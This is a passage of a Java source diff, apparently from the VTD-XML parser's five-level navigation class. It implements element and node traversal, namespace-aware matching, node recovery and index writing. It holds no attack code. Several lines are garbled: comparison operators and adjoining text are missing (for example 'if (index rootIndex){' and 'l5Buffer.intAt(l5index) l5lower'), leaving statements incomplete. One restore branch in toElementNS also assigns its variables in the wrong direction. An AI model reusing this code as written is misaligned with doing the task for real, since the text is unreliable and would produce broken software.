l3index--; + } + } + //assert(indexl4Buffer.upper32At(l4index)){ + while (l4index < l4upper && l4Buffer.upper32At(l4index)< index){ + l4index++; + } + } else { + while(l4index > l4lower && l4Buffer.upper32At(l4index-1)> index){ + l4index--; + } + } + //assert(indexl5Buffer.intAt(l5index)){ + while (l5index < l5upper && l5Buffer.intAt(l5index) l5lower && l5Buffer.intAt(l5index-1)> index){ + l5index--; + } + } + //assert(index l5Buffer.intAt(l5index)){ + while (context[5] != l5Buffer.intAt(l5index)){ + l5index++; + } + /*} else { + while (context[5] != l5Buffer.intAt(l5index)){ + l5index--; + } + }*/ + + //assert(index=1) + fib.append(l1index); + //else return; + + if (context[0]>=2){ + fib.append(l2index); + fib.append(l2lower); + fib.append(l2upper); + }//else return; + + if (context[0]>=3){ + fib.append(l3index); + fib.append(l3lower); + fib.append(l3upper); + }//else return; + + if (context[0]>=4){ + fib.append(l4index); + fib.append(l4lower); + fib.append(l4upper); + }//else return; + + if (context[0]>=5){ + fib.append(l5index); + fib.append(l5lower); + fib.append(l5upper); + } + } + + public void dumpState(){ + System.out.println("l1 index ==>"+l1index); + System.out.println("l2 index ==>"+l2index); + System.out.println("l2 lower ==>"+l2lower); + System.out.println("l2 upper ==>"+l2upper); + System.out.println("l3 index ==>"+l3index); + System.out.println("l3 lower ==>"+l3lower); + System.out.println("l3 upper ==>"+l3upper); + System.out.println("l4 index ==>"+l4index); + System.out.println("l4 lower ==>"+l4lower); + System.out.println("l4 upper ==>"+l4upper); + System.out.println("l5 index ==>"+l5index); + System.out.println("l5 lower ==>"+l5lower); + System.out.println("l5 upper ==>"+l5upper); + } + + + + + + + + + + /** + * A generic navigation method. Move the cursor to the element according to + * the direction constants and the element name If no such element, no + * position change and return false. "*" matches any element Creation date: + * (12/2/03 1:43:50 PM) Legal direction constants are
    + * + *
    +     * 		ROOT            0  
    +     * 
    + *
    +     * 		PARENT          1  
    +     * 
    + *
    +     * 		FIRST_CHILD     2  
    +     * 
    + *
    +     * 		LAST_CHILD      3  
    +     * 
    + *
    +     * 		NEXT_SIBLING    4  
    +     * 
    + *
    +     * 		PREV_SIBLING    5  
    +     * 
    + * + *
    + * for ROOT and PARENT, element name will be ignored. + * + * @return boolean + * @param direction + * int + * @param en + * String + * @exception com.ximpleware.NavException + * When direction value is illegal. Or there are errors in + * underlying byte representation of the document + * @exception IllegalArguementException + * if en is null + */ + public boolean toElement(int direction, String en) throws NavException { + int temp=-1; + int d=-1; + int val=0; + boolean b=false; + if (en == null) + throw new IllegalArgumentException(" Element name can't be null "); + if (en.equals("*")) + return toElement(direction); + switch (direction) { + case ROOT : + return toElement(ROOT); + + case PARENT : + return toElement(PARENT); + + case FIRST_CHILD : + if (atTerminal)return false; + if (toElement(FIRST_CHILD) == false) + return false; + // check current element name + if (matchElement(en) == false) { + if (toElement(NEXT_SIBLING, en) == true) + return true; + else { + //toParentElement(); + //context[context[0]] = 0xffffffff; + context[0]--; + return false; + } + } else + return true; + + case LAST_CHILD : + if (atTerminal)return false; + if (toElement(LAST_CHILD) == false) + return false; + if (matchElement(en) == false) { + if (toElement(PREV_SIBLING, en) == true) + return true; + else { + //context[context[0]] = 0xffffffff; + context[0]--; + //toParentElement(); + return false; + } + } else + return true; + + case NEXT_SIBLING : + if (atTerminal){ + if (nodeToElement(NEXT_SIBLING)){ + b=true; + if (matchElement(en)){ + return true; + } + }else + return false; + } + if (!b){ + d = context[0]; + + switch(d) + { + case -1: + case 0: return false; + case 1: val = l1index; break; + case 2: val = l2index; break; + case 3: val = l3index; break; + case 4: val = l4index; break; + case 5: val = l5index; break; + default: + } + temp = context[d]; // store the current position + } + while (toElement(NEXT_SIBLING)) { + if (matchElement(en)) { + return true; + } + } + if (b){ + context[0]--;//LN value should not change + atTerminal=true; + return false; + }else{ + switch(d) + { + case 1: l1index = val; break; + case 2: l2index = val; break; + case 3: l3index = val; break; + case 4: l4index = val; break; + case 5: l5index = val; break; + default: + } + context[d] = temp; + return false; + } + + case PREV_SIBLING : + if (atTerminal) { + if (nodeToElement(PREV_SIBLING)){ + b=true; + if (matchElement(en)){ + return true; + } + }else + return false; + } + if (!b){ + d = context[0]; + switch(d) + { + case -1: + case 0: return false; + case 1: val = l1index; break; + case 2: val = l2index; break; + case 3: val = l3index; break; + case 4: val = l4index; break; + case 5: val = l5index; break; + default: + } + temp = context[d]; // store the current position + } + while (toElement(PREV_SIBLING)) { + if (matchElement(en)) { + return true; + } + } + if (b) { + context[0]--;// LN value should not change + atTerminal = true; + return false; + } else { + switch (d) { + case 1: + l1index = val; + break; + case 2: + l2index = val; + break; + case 3: + l3index = val; + break; + case 4: + l4index = val; + break; + case 5: + l5index = val; + break; + default: + } + context[d] = temp; + return false; + } + + default : + throw new NavException("illegal navigation options"); + } + } + + /** + * A generic navigation method. Move the cursor to the element according to + * the direction constants If no such element, no position change and return + * false. Creation date: (12/2/03 1:43:50 PM) Legal direction constants are + * + *
    +     *    			ROOT               0 
    +     * 
    + *
    +     *  		    PARENT  		   1 
    +     * 
    + *
    +     *        	    FIRST_CHILD		   2 
    +     * 
    + *
    +     *  		    LAST_CHILD 		   3 
    +     * 
    + *
    +     *     	  	    NEXT_SIBLING       4 
    +     * 
    + *
    +     *       	    PREV_SIBLING       5 
    +     * 
    + * + * @return boolean + * @param direction + * int + * @exception com.ximpleware.NavException + * When direction value is illegal. + */ + public boolean toElement(int direction) throws NavException { + int size; + //count++; + //System.out.println("count ==>"+ count); + switch (direction) { + case ROOT : // to document element! + if (context[0] != 0) { + /* + * for (int i = 1; i <= context[0]; i++) { context[i] = + * 0xffffffff; } + */ + context[0] = 0; + } + atTerminal = false; + l1index = l2index = l3index = -1; + return true; + case PARENT : + if (atTerminal == true){ + atTerminal = false; + return true; + } + if (context[0] > 0) { + //context[context[0]] = context[context[0] + 1] = + // 0xffffffff; + context[context[0]] = -1; + context[0]--; + return true; + }else if (context[0]==0){ + context[0]=-1; //to be compatible with XPath Data model + return true; + } + else { + return false; + } + case FIRST_CHILD : + case LAST_CHILD : + if (atTerminal) return false; + switch (context[0]) { + case -1: + context[0] = 0; + return true; + case 0 : + if (l1Buffer.size > 0) { + context[0] = 1; + l1index = + (direction == FIRST_CHILD) + ? 0 + : (l1Buffer.size - 1); + context[1] = l1Buffer.upper32At(l1index); + //(int) (vtdToken >> 32); + return true; + } else + return false; + case 1 : + l2lower = l1Buffer.lower32At(l1index); + if (l2lower == -1) { + return false; + } + context[0] = 2; + l2upper = l2Buffer.size - 1; + size = l1Buffer.size; + for (int i = l1index + 1; i < size; i++) { + int temp = l1Buffer.lower32At(i); + if (temp != 0xffffffff) { + l2upper = temp - 1; + break; + } + } + //System.out.println(" l2 upper: " + l2upper + " l2 + // lower : " + l2lower); + l2index = + (direction == FIRST_CHILD) ? l2lower : l2upper; + context[2] = l2Buffer.upper32At(l2index); + return true; + + case 2 : + l3lower = l2Buffer.lower32At(l2index); + if (l3lower == -1) { + return false; + } + context[0] = 3; + l3upper = l3Buffer.size - 1; + size = l2Buffer.size; + for (int i = l2index + 1; i < size; i++) { + int temp = l2Buffer.lower32At(i); + if (temp != 0xffffffff) { + l3upper = temp - 1; + break; + } + } + //System.out.println(" l2 upper: " + l2upper + " l2 + // lower : " + l2lower); + l3index = + (direction == FIRST_CHILD) ? l3lower : l3upper; + context[3] = l3Buffer.upper32At(l3index); + return true; + + case 3 : + l4lower = l3Buffer.lower32At(l3index); + if (l4lower == -1) { + return false; + } + context[0] = 4; + l4upper = l4Buffer.size - 1; + size = l3Buffer.size; + for (int i = l3index + 1; i < size; i++) { + int temp = l3Buffer.lower32At(i); + if (temp != 0xffffffff) { + l4upper = temp - 1; + break; + } + } + //System.out.println(" l2 upper: " + l2upper + " l2 + // lower : " + l2lower); + l4index = + (direction == FIRST_CHILD) ? l4lower : l4upper; + context[4] = l4Buffer.upper32At(l4index); + return true; + + case 4 : + l5lower = l4Buffer.lower32At(l4index); + if (l5lower == -1) { + return false; + } + context[0] = 5; + + l5upper = l5Buffer.size - 1; + size = l4Buffer.size; + for (int i = l4index + 1; i < size; i++) { + int temp = l4Buffer.lower32At(i); + if (temp != 0xffffffff) { + l5upper = temp - 1; + break; + } + } + //System.out.println(" l3 upper : " + l3upper + " l3 + // lower : " + l3lower); + l5index = + (direction == FIRST_CHILD) ? l5lower : l5upper; + context[5] = l5Buffer.intAt(l5index); + + return true; + + default : + if (direction == FIRST_CHILD) { + size = vtdBuffer.size; + int index = context[context[0]] + 1; + while (index < size) { + long temp = vtdBuffer.longAt(index); + int token_type = + (int) ((MASK_TOKEN_TYPE & temp) >> 60) + & 0xf; + + if (token_type == TOKEN_STARTING_TAG) { + int depth = + (int) ((MASK_TOKEN_DEPTH & temp) >> 52); + if (depth <= context[0]) { + return false; + } else if (depth == (context[0] + 1)) { + context[0] += 1; + context[context[0]] = index; + return true; + } + } + + index++; + } // what condition + return false; + } else { + int index = context[context[0]] + 1; + int last_index = -1; + size = vtdBuffer.size; + while (index < size) { + long temp = vtdBuffer.longAt(index); + int depth = + (int) ((MASK_TOKEN_DEPTH & temp) >> 52); + int token_type = + (int) ((MASK_TOKEN_TYPE & temp) >> 60) + & 0xf; + + if (token_type == TOKEN_STARTING_TAG) { + if (depth <= context[0]) { + break; + } else if (depth == (context[0] + 1)) { + last_index = index; + } + } + + index++; + } + if (last_index == -1) { + return false; + } else { + context[0] += 1; + context[context[0]] = last_index; + return true; + } + } + } + + case NEXT_SIBLING : + case PREV_SIBLING : + if(atTerminal)return nodeToElement(direction); + switch (context[0]) { + case -1: + case 0 : + return false; + case 1 : + if (direction == NEXT_SIBLING) { + if (l1index + 1 >= l1Buffer.size) { + return false; + } + + l1index++; // global incremental + } else { + if (l1index - 1 < 0) { + return false; + } + l1index--; // global incremental + } + context[1] = l1Buffer.upper32At(l1index); + return true; + case 2 : + if (direction == NEXT_SIBLING) { + if (l2index + 1 > l2upper) { + return false; + } + l2index++; + } else { + if (l2index - 1 < l2lower) { + return false; + } + l2index--; + } + context[2] = l2Buffer.upper32At(l2index); + return true; + + case 3 : + if (direction == NEXT_SIBLING) { + if (l3index + 1 > l3upper) { + return false; + } + l3index++; + } else { + if (l3index - 1 < l3lower) { + return false; + } + l3index--; + } + context[3] = l3Buffer.upper32At(l3index); + return true; + + case 4 : + if (direction == NEXT_SIBLING) { + if (l4index + 1 > l4upper) { + return false; + } + l4index++; + } else { + if (l4index - 1 < l4lower) { + return false; + } + l4index--; + } + context[4] = l4Buffer.upper32At(l4index); + return true; + case 5 : + if (direction == NEXT_SIBLING) { + if (l5index + 1 > l5upper) { + return false; + } + l5index++; + } else { + if (l5index - 1 < l5lower) { + return false; + } + l5index--; + } + context[5] = l5Buffer.intAt(l5index); + return true; + default : + //int index = context[context[0]] + 1; + + if (direction == NEXT_SIBLING) { + int index = context[context[0]] + 1; + size = vtdBuffer.size; + while (index < size) { + long temp = vtdBuffer.longAt(index); + int token_type = + (int) ((MASK_TOKEN_TYPE & temp) >> 60) + & 0xf; + + if (token_type == TOKEN_STARTING_TAG) { + int depth = + (int) ((MASK_TOKEN_DEPTH & temp) >> 52); + if (depth < context[0]) { + return false; + } else if (depth == (context[0])) { + context[context[0]] = index; + return true; + } + } + index++; + } + return false; + } else { + int index = context[context[0]] - 1; + while (index > context[context[0] - 1]) { + // scan backforward + long temp = vtdBuffer.longAt(index); + int token_type = + (int) ((MASK_TOKEN_TYPE & temp) >> 60) + & 0xf; + + if (token_type == TOKEN_STARTING_TAG) { + int depth = + (int) ((MASK_TOKEN_DEPTH & temp) >> 52); + /* + * if (depth < context[0]) { return false; } + * else + */ + if (depth == (context[0])) { + context[context[0]] = index; + return true; + } + } + index--; + } // what condition + return false; + } + } + + default : + throw new NavException("illegal navigation options"); + } + + } + + protected boolean nodeToElement(int direction){ + switch(direction){ + case NEXT_SIBLING: + switch (context[0]) { + case 0: + if (l1index!=-1){ + context[0]=1; + context[1]=l1Buffer.upper32At(l1index); + atTerminal=false; + return true; + }else + return false; + case 1: + if (l2index!=-1){ + context[0]=2; + context[2]=l2Buffer.upper32At(l2index); + atTerminal=false; + return true; + }else + return false; + + case 2: + if (l3index!=-1){ + context[0]=3; + context[3]=l3Buffer.upper32At(l3index); + atTerminal=false; + return true; + }else + return false; + + case 3: + if (l4index!=-1){ + context[0]=4; + context[4]=l4Buffer.upper32At(l4index); + atTerminal=false; + return true; + }else + return false; + + case 4: + if (l5index!=-1){ + context[0]=5; + context[5]=l5Buffer.intAt(l5index); + atTerminal=false; + return true; + }else + return false; + + default: + int index = LN + 1; + int size = vtdBuffer.size; + while (index < size) { + long temp = vtdBuffer.longAt(index); + int token_type = + (int) ((MASK_TOKEN_TYPE & temp) >> 60) + & 0xf; + + if (token_type == TOKEN_STARTING_TAG) { + int depth = + (int) ((MASK_TOKEN_DEPTH & temp) >> 52); + if (depth < context[0]) { + return false; + } else if (depth == (context[0])) { + context[context[0]] = index; + return true; + } + } + index++; + } + return false; + + } + + case PREV_SIBLING: + switch (context[0]) { + case 0: + if (l1index!=-1 && l1index>0){ + l1index--; + context[0]=1; + context[1]=l1Buffer.upper32At(l1index); + atTerminal=false; + return true; + }else + return false; + case 1: + if (l2index!=-1 && l2index>l2lower){ + l2index--; + context[0]=2; + context[2]=l2Buffer.upper32At(l2index); + atTerminal=false; + return true; + }else + return false; + case 2: + if (l3index!=-1 && l3index>l3lower){ + l3index--; + context[0]=3; + context[3]=l3Buffer.upper32At(l3index); + atTerminal=false; + return true; + }else + return false; + case 3: + if (l4index!=-1 && l4index>l4lower){ + l4index--; + context[0]=4; + context[4]=l4Buffer.upper32At(l4index); + atTerminal=false; + return true; + }else + return false; + + case 4: + if (l5index!=-1 && l5index>l5lower){ + l5index--; + context[0]=5; + context[5]=l5Buffer.intAt(l5index); + atTerminal=false; + return true; + }else + return false; + + default: + int index = LN- 1; + while (index > context[context[0] - 1]) { + // scan backforward + long temp = vtdBuffer.longAt(index); + int token_type = + (int) ((MASK_TOKEN_TYPE & temp) >> 60) + & 0xf; + + if (token_type == TOKEN_STARTING_TAG) { + int depth = + (int) ((MASK_TOKEN_DEPTH & temp) >> 52); + /* + * if (depth < context[0]) { return false; } + * else + */ + if (depth == (context[0])) { + context[context[0]] = index; + return true; + } + } + index--; + } // what condition + return false; + } + } + return false; + } + /** + * A generic navigation method with namespace support. Move the cursor to + * the element according to the direction constants and the prefix and local + * names If no such element, no position change and return false. URL * + * matches any namespace, including undefined namespaces a null URL means + * hte namespace prefix is undefined for the element ln * matches any + * localname Creation date: (12/2/03 1:43:50 PM) Legal direction constants + * are
    + * + *
    +     * 		ROOT            0  
    +     * 
    + *
    +     * 		PARENT          1  
    +     * 
    + *
    +     * 		FIRST_CHILD     2  
    +     * 
    + *
    +     * 		LAST_CHILD      3  
    +     * 
    + *
    +     * 		NEXT_SIBLING    4  
    +     * 
    + *
    +     * 		PREV_SIBLING    5  
    +     * 
    + * + *
    + * for ROOT and PARENT, element name will be ignored. If not ns enabled, + * return false immediately with no position change. + * + * @return boolean + * @param direction + * int + * @param URL + * String + * @param ln + * String + * @exception com.ximpleware.NavException + * When direction value is illegal. Or there are errors in + * underlying byte representation of the document + */ + public boolean toElementNS(int direction, String URL, String ln) + throws NavException { + int temp=-1; + int val=0; + int d=-1; // temp location + boolean b=false; + if (ns == false) + return false; + switch (direction) { + case ROOT : + return toElement(ROOT); + + case PARENT : + return toElement(PARENT); + + case FIRST_CHILD : + if (atTerminal)return false; + if (toElement(FIRST_CHILD) == false) + return false; + // check current element name + if (matchElementNS(URL, ln) == false) { + if (toElementNS(NEXT_SIBLING, URL, ln) == true) + return true; + else { + //toParentElement(); + //context[context[0]] = 0xffffffff; + context[0]--; + return false; + } + } else + return true; + + case LAST_CHILD : + if (atTerminal)return false; + if (toElement(LAST_CHILD) == false) + return false; + if (matchElementNS(URL, ln) == false) { + if (toElementNS(PREV_SIBLING, URL, ln) == true) + return true; + else { + //context[context[0]] = 0xffffffff; + context[0]--; + //toParentElement(); + return false; + } + } else + return true; + + case NEXT_SIBLING : + if (atTerminal){ + if (nodeToElement(NEXT_SIBLING)){ + b=true; + if (matchElementNS(URL,ln)){ + return true; + } + }else + return false; + } + if (!b){ + d = context[0]; + temp = context[d]; // store the current position + switch(d) + { + case -1: + case 0: return false; + case 1: val = l1index; break; + case 2: val = l2index; break; + case 3: val = l3index; break; + case 4: val = l4index; break; + case 5: val = l5index; break; + default: + } + } + //if (d == 0) + // return false; + while (toElement(NEXT_SIBLING)) { + if (matchElementNS(URL, ln)) { + return true; + } + } + if (b){ + context[0]--;//LN value should not change + atTerminal=true; + return false; + }else{ + switch(d) + { + case 1: l1index = val; break; + case 2: l2index = val; break; + case 3: l3index = val; break; + case 4: val = l4index; break; + case 5: val = l5index; break; + default: + } + context[d] = temp; + return false; + } + + case PREV_SIBLING : + if (atTerminal){ + if (nodeToElement(PREV_SIBLING)){ + b=true; + if (matchElementNS(URL,ln)){ + return true; + } + }else + return false; + } + if (!b){ + d = context[0]; + temp = context[d]; // store the current position + switch(d) + { + case -1: + case 0: return false; + case 1: val = l1index; break; + case 2: val = l2index; break; + case 3: val = l3index; break; + case 4: val = l4index; break; + case 5: val = l5index; break; + default: + } + } + //if (d == 0) + // return false; + while (toElement(PREV_SIBLING)) { + if (matchElementNS(URL, ln)) { + return true; + } + } + if (b){ + context[0]--;//LN value should not change + atTerminal=true; + return false; + } else { + switch(d) + { + case 1: l1index = val; break; + case 2: l2index = val; break; + case 3: l3index = val; break; + case 4: val = l4index; break; + case 5: val = l5index; break; + default: + } + context[d] = temp; + return false; + } + + default : + throw new NavException("illegal navigation options"); + } + } + + /** + * This method takes a vtd index, and recover its correspondin + * node position, the index can only be of node type element, + * document, attribute name, attribute value or character data, + * or CDATA + * @param index + * @throws NavException + */ + public void recoverNode(int index) throws NavException{ + if (index <0 || index>=vtdSize ) + throw new NavException("Invalid VTD index"); + + int type = getTokenType(index); + if (//type == VTDNav.TOKEN_COMMENT || + // type == VTDNav.TOKEN_PI_NAME || + type == VTDNav.TOKEN_PI_VAL || + type == VTDNav.TOKEN_DEC_ATTR_NAME || + type == VTDNav.TOKEN_DEC_ATTR_VAL || + type == VTDNav.TOKEN_ATTR_VAL) + throw new NavException("Token type not yet supported"); + + // get depth + int d = getTokenDepth(index); + // handle document node; + switch (d){ + case -1: + context[0]=-1; + if (index != 0){ + LN = index; + atTerminal = true; + } + return; + case 0: + context[0]=0; + if (index != rootIndex){ + LN = index; + atTerminal = true; + if (type>VTDNav.TOKEN_ATTR_NS) + sync(0,index); + } else + atTerminal=false; + return; + } + context[0]=d; + if (type != VTDNav.TOKEN_STARTING_TAG){ + LN = index; + atTerminal = true; + } + // search LC level 1 + recoverNode_l1(index); + + if (d==1){ + if (atTerminal && type>VTDNav.TOKEN_ATTR_NS) + sync(1,index); + return; + } + // search LC level 2 + recoverNode_l2(index); + if (d==2){ + //resolveLC(); + if (atTerminal && type>VTDNav.TOKEN_ATTR_NS) + sync(2,index); + return; + } + // search LC level 3 + recoverNode_l3(index); + if (d==3){ + //resolveLC(); + if (atTerminal && type>VTDNav.TOKEN_ATTR_NS) + sync(3,index); + return; + } + + recoverNode_l4(index); + if (d==4){ + //resolveLC(); + if (atTerminal && type>VTDNav.TOKEN_ATTR_NS) + sync(4,index); + return; + } + + recoverNode_l5(index); + if (d==5){ + //resolveLC(); + if (atTerminal && type>VTDNav.TOKEN_ATTR_NS) + sync(5,index); + return; + } + + // scan backward + if ( type == VTDNav.TOKEN_STARTING_TAG ){ + context[d] = index; + } else{ + int t = index-1; + while( !(getTokenType(t)==VTDNav.TOKEN_STARTING_TAG && + getTokenDepth(t)==d)){ + t--; + } + context[d] = t; + } + int t = context[d]-1; + d--; + while(d>5){ + while( !(getTokenType(t)==VTDNav.TOKEN_STARTING_TAG && + getTokenDepth(t)==d)){ + t--; + } + context[d] = t; + d--; + } + //resolveLC(); + } + + public void writeIndex(OutputStream os) throws IndexWriteException, IOException{ + IndexHandler.writeIndex_L5((byte)1, + this.encoding, + this.ns, + true, + this.nestingLevel-1, + 5, + this.rootIndex, + this.XMLDoc.getBytes(), + this.docOffset, + this.docLen, + (FastLongBuffer)this.vtdBuffer, + (FastLongBuffer)this.l1Buffer, + (FastLongBuffer)this.l2Buffer, + (FastLongBuffer)this.l3Buffer, + (FastLongBuffer)this.l4Buffer, + (FastIntBuffer)this.l5Buffer, + os); + } + + /** + * Write VTDNav's VTD and LCs into an OutputStream (XML not written out) + * @param os + * @throws IndexWriteException + * @throws IOException + * + */ + public void writeSeparateIndex(OutputStream os) throws IndexWriteException, IOException{ + IndexHandler.writeSeparateIndex_L5((byte)2, + this.encoding, + this.ns, + true, + this.nestingLevel-1, + 5, + this.rootIndex, + // this.XMLDoc.getBytes(), + this.docOffset, + this.docLen, + (FastLongBuffer)this.vtdBuffer, + (FastLongBuffer)this.l1Buffer, + (FastLongBuffer)this.l2Buffer, + (FastLongBuffer)this.l3Buffer, + (FastLongBuffer)this.l4Buffer, + (FastIntBuffer)this.l5Buffer, + os); + } + + protected boolean toNode(int dir) throws NavException{ + int index,tokenType,depth,lastEntry,tmp; + //count++; + //System.out.println("count ==>"+ count); + switch(dir){ + case ROOT: + if (context[0] != 0) { + /* + * for (int i = 1; i <= context[0]; i++) { context[i] = + * 0xffffffff; } + */ + context[0] = 0; + } + atTerminal = false; + //l1index = l2index = l3index = l2lower=l2upper=l3lower=l3upper=l4lower=l4upper=l5lower=l5upper=-1; + return true; + case PARENT: + if (atTerminal == true){ + atTerminal = false; + return true; + } + if (context[0] > 0) { + //context[context[0]] = context[context[0] + 1] = + // 0xffffffff; + context[context[0]] = -1; + context[0]--; + return true; + }else if (context[0]==0){ + context[0]=-1; //to be compatible with XPath Data model + return true; + } + else { + return false; + } + case FIRST_CHILD: + if(atTerminal)return false; + switch (context[0]) { + case -1: + //starting with root element + //scan backward, if there is a pi | comment node + index = rootIndex-1; + loop1: + while(index >0){ + tokenType = getTokenType(index); + switch(tokenType){ + case TOKEN_COMMENT: index--; break; + case TOKEN_PI_VAL: index-=2;break; + default: + break loop1; + } + } + index++; // points to + if (index!=rootIndex){ + atTerminal = true; + LN = index; + }else{ + context[0]=0; + } + return true; + case 0: + if (l1Buffer.size!=0){ + index = l1Buffer.upper32At(0)-1; + //rewind + loop1: while(index>rootIndex){ + tokenType = getTokenType(index); + switch(tokenType){ + case TOKEN_CHARACTER_DATA: + case TOKEN_COMMENT: + case TOKEN_CDATA_VAL: + index--; + break; + case TOKEN_PI_VAL: + index-=2; + break; + default: + break loop1; + } + } + index++; + l1index = 0; + if(index == l1Buffer.upper32At(0)){ + context[0]=1; + context[1]= l1Buffer.upper32At(0); + atTerminal = false; + }else { + atTerminal = true; + LN = index; + } + return true; + + }else{ + //get to the first non-attr node after the starting tag + index = rootIndex+1; + while(index>> 60); + switch(tokenType){ + case TOKEN_STARTING_TAG: + depth = + (int) ((MASK_TOKEN_DEPTH & temp) >> 52); + if (depth <= context[0]){ + return false; + }else if (depth == (context[0] + 1)) { + context[0] += 1; + context[context[0]] = index; + return true; + }else + throw new NavException("impossible condition"); + case TOKEN_ATTR_NAME: + case TOKEN_ATTR_NS: index+=2;break; + case TOKEN_CHARACTER_DATA: + case TOKEN_COMMENT: + case TOKEN_CDATA_VAL: + depth = + (int) ((MASK_TOKEN_DEPTH & temp) >> 52); + if (depth < context[0]){ + return false; + }else if (depth == (context[0])) { + LN = index; + atTerminal = true; + return true; + } else + index++; + case TOKEN_PI_NAME: + depth = + (int) ((MASK_TOKEN_DEPTH & temp) >> 52); + if (depth < context[0]){ + return false; + }else if (depth == (context[0])) { + LN = index; + atTerminal = true; + return true; + } else + index+=2; + } + //index++; + } // what condition + return false; + } + case LAST_CHILD: + if(atTerminal)return false; + return toNode_LastChild(); + + case NEXT_SIBLING: + switch (context[0]) { + case -1: + if(atTerminal){ + index = LN; + tokenType = getTokenType(index); + switch(tokenType){ + case TOKEN_PI_NAME: + index+=2; + break; + //break loop2; + case TOKEN_COMMENT: + index++; + break; + } + + if (index rootIndex){ + depth = getTokenDepth(index); + if (depth ==-1){ + index--; + } else + break; + } + index++; + if (index>=vtdSize ) + return false; + else{ + context[0]=-1; + LN = index; + atTerminal = true; + return true; + } + } + //break; + case 1: + if(atTerminal){ + tokenType=getTokenType(LN); + if (tokenType==VTDNav.TOKEN_ATTR_NAME) + return false; + if (l1Buffer.lower32At(l1index) != -1) { + if (LN < l2Buffer.upper32At(l2upper)) { + tmp = l2Buffer.upper32At(l2index); + index = LN + 1; + if (tokenType == TOKEN_PI_NAME) + index++; + + if (index < tmp) { + LN = index; + return true; + } else { + context[0] = 2; + context[2] = tmp; + atTerminal = false; + return true; + } + } else { + index = LN + 1; + if (tokenType == TOKEN_PI_NAME) + index++; + if (index < vtdSize) { + depth = getTokenDepth(index); + if (depth==1 && getTokenType(index)!= TOKEN_STARTING_TAG){ + LN = index; + atTerminal = true; + return true; + } + return false; + } else + return false; + } + }else{ + index= LN+1; + if (getTokenType(LN)==TOKEN_PI_NAME) + index++; + if (index < vtdSize){ + depth = getTokenDepth(index); + if (depth==1 && getTokenType(index)!= TOKEN_STARTING_TAG){ + LN = index; + atTerminal = true; + return true; + } + return false; + }else{ + return false; + } + } + }else{ + if (l1index != l1Buffer.size-1){ + // not the last one + //rewind + l1index++; + index = lastEntry = l1Buffer.upper32At(l1index)-1; + while(getTokenDepth(index)==0){ + index--; + } + if (lastEntry==index){ + atTerminal=false; + context[0]=1; + context[1]=index+1; + return true; + } else { + atTerminal = true; + context[0]=0; + LN = index+1; + return true; + } + }else{ + index = vtdSize-1; + while(index > l1Buffer.upper32At(l1index) && getTokenDepth(index)<=0){ + index--; + } + + if (index == vtdSize-1 ){ + if (getTokenDepth(index)==0){ + context[0]=0; + LN = index; + atTerminal = true; + return true; + }else + return false; + } + index++; + if (getTokenDepth(index)==0){ + context[0]=0; + LN = index; + atTerminal = true; + return true; + }else{ + return false; + } + } + } + + case 2: + if(atTerminal){ + tokenType=getTokenType(LN); + if (tokenType==VTDNav.TOKEN_ATTR_NAME) + return false; + if (l2Buffer.lower32At(l2index) != -1) { + if (LN < l3Buffer.upper32At(l3upper)) { + tmp = l3Buffer.upper32At(l3index); + index = LN + 1; + if (tokenType== TOKEN_PI_NAME) + index++; + + if (index < tmp) { + LN = index; + return true; + } else { + context[0] = 3; + context[3] = tmp; + atTerminal = false; + return true; + } + } else { + index = LN + 1; + if (tokenType == TOKEN_PI_NAME) + index++; + if (index < vtdSize) { + depth = getTokenDepth(index); + if (depth==2 && getTokenType(index)!=TOKEN_STARTING_TAG){ + LN = index; + return true; + } + return false; + } + return false; + } + }else{ + index= LN+1; + if (tokenType==TOKEN_PI_NAME) + index++; + if (index < vtdSize){ + depth = getTokenDepth(index); + if (depth==2 && getTokenType(index)!= TOKEN_STARTING_TAG){ + LN = index; + atTerminal = true; + return true; + } + return false; + }else{ + return false; + } + } + }else{ + //l2index < l2upper + if (l2index< l2upper){ + tmp = l2Buffer.upper32At(l2index); + l2index++; + lastEntry = index = l2Buffer.upper32At(l2index)-1; + //rewind + loop2:while(index>tmp){ + if (getTokenDepth(index)==1){ + tokenType = getTokenType(index); + switch(tokenType){ + case TOKEN_CHARACTER_DATA: + case TOKEN_COMMENT: + case TOKEN_CDATA_VAL: + index--; + break; + case TOKEN_PI_VAL: + index = index -2; + break; + default: break loop2; + } + }else + break loop2; + } + if (index == lastEntry){ + context[0]=2; + context[2] = index+1; + return true; + } + context[0]=1; + LN = index+1; + atTerminal = true; + return true; + }else{ + lastEntry = index = vtdSize-1; + if (l1index!=l1Buffer.size-1){ + lastEntry = index = l1Buffer.upper32At(l1index+1)-1; + } + tmp = l2Buffer.upper32At(l2index); + + //rewind + while(index>tmp){ + if (getTokenDepth(index)<2) + index--; + else + break; + } + if ((/*lastEntry>=index &&*/ getTokenDepth(index)==1)){ + LN = index; + atTerminal = true; + context[0]=1; + return true; + } + + if (lastEntry!=index && getTokenDepth(index+1)==1 ){ + LN = index+1; + atTerminal = true; + context[0]=1; + return true; + } + + return false; + } + + } + //break; + case 3: + if(atTerminal){ + tokenType=getTokenType(LN); + if (tokenType==VTDNav.TOKEN_ATTR_NAME) + return false; + if (l3Buffer.lower32At(l3index) != -1) { + if (LN < l4Buffer.upper32At(l4upper)) { + tmp = l4Buffer.upper32At(l4index); + index = LN + 1; + if (tokenType == TOKEN_PI_NAME) + index++; + if (index < tmp) { + LN = index; + return true; + } else { + context[0] = 4; + context[4] = tmp; + atTerminal = false; + return true; + } + } else { + index = LN + 1; + if (tokenType == TOKEN_PI_NAME) + index++; + if (index < vtdSize) { + depth = getTokenDepth(index); + if (depth==3 && getTokenType(index)!=TOKEN_STARTING_TAG){ + LN = index; + return true; + } + return false; + } + return false; + } + }else{ + index= LN+1; + if (tokenType==TOKEN_PI_NAME) + index++; + if (index < vtdSize){ + depth = getTokenDepth(index); + if (depth==3 && getTokenType(index)!= TOKEN_STARTING_TAG){ + LN = index; + atTerminal = true; + return true; + } + return false; + }else{ + return false; + } + } + }else{ + //l2index < l2upper + if (l3index< l3upper){ + tmp = l3Buffer.upper32At(l3index); + l3index++; + lastEntry = index = l3Buffer.upper32At(l3index)-1; + //rewind + loop2:while(index>tmp){ + if (getTokenDepth(index)==2){ + tokenType = getTokenType(index); + switch(tokenType){ + case TOKEN_CHARACTER_DATA: + case TOKEN_COMMENT: + case TOKEN_CDATA_VAL: + index--; + break; + case TOKEN_PI_VAL: + index = index -2; + break; + default: + break loop2; + } + }else + break loop2; + } + if (index == lastEntry){ + context[0]=3; + context[3] = index+1; + return true; + } + context[0]=2; + LN = index+1; + atTerminal = true; + return true; + }else{ + lastEntry = index = 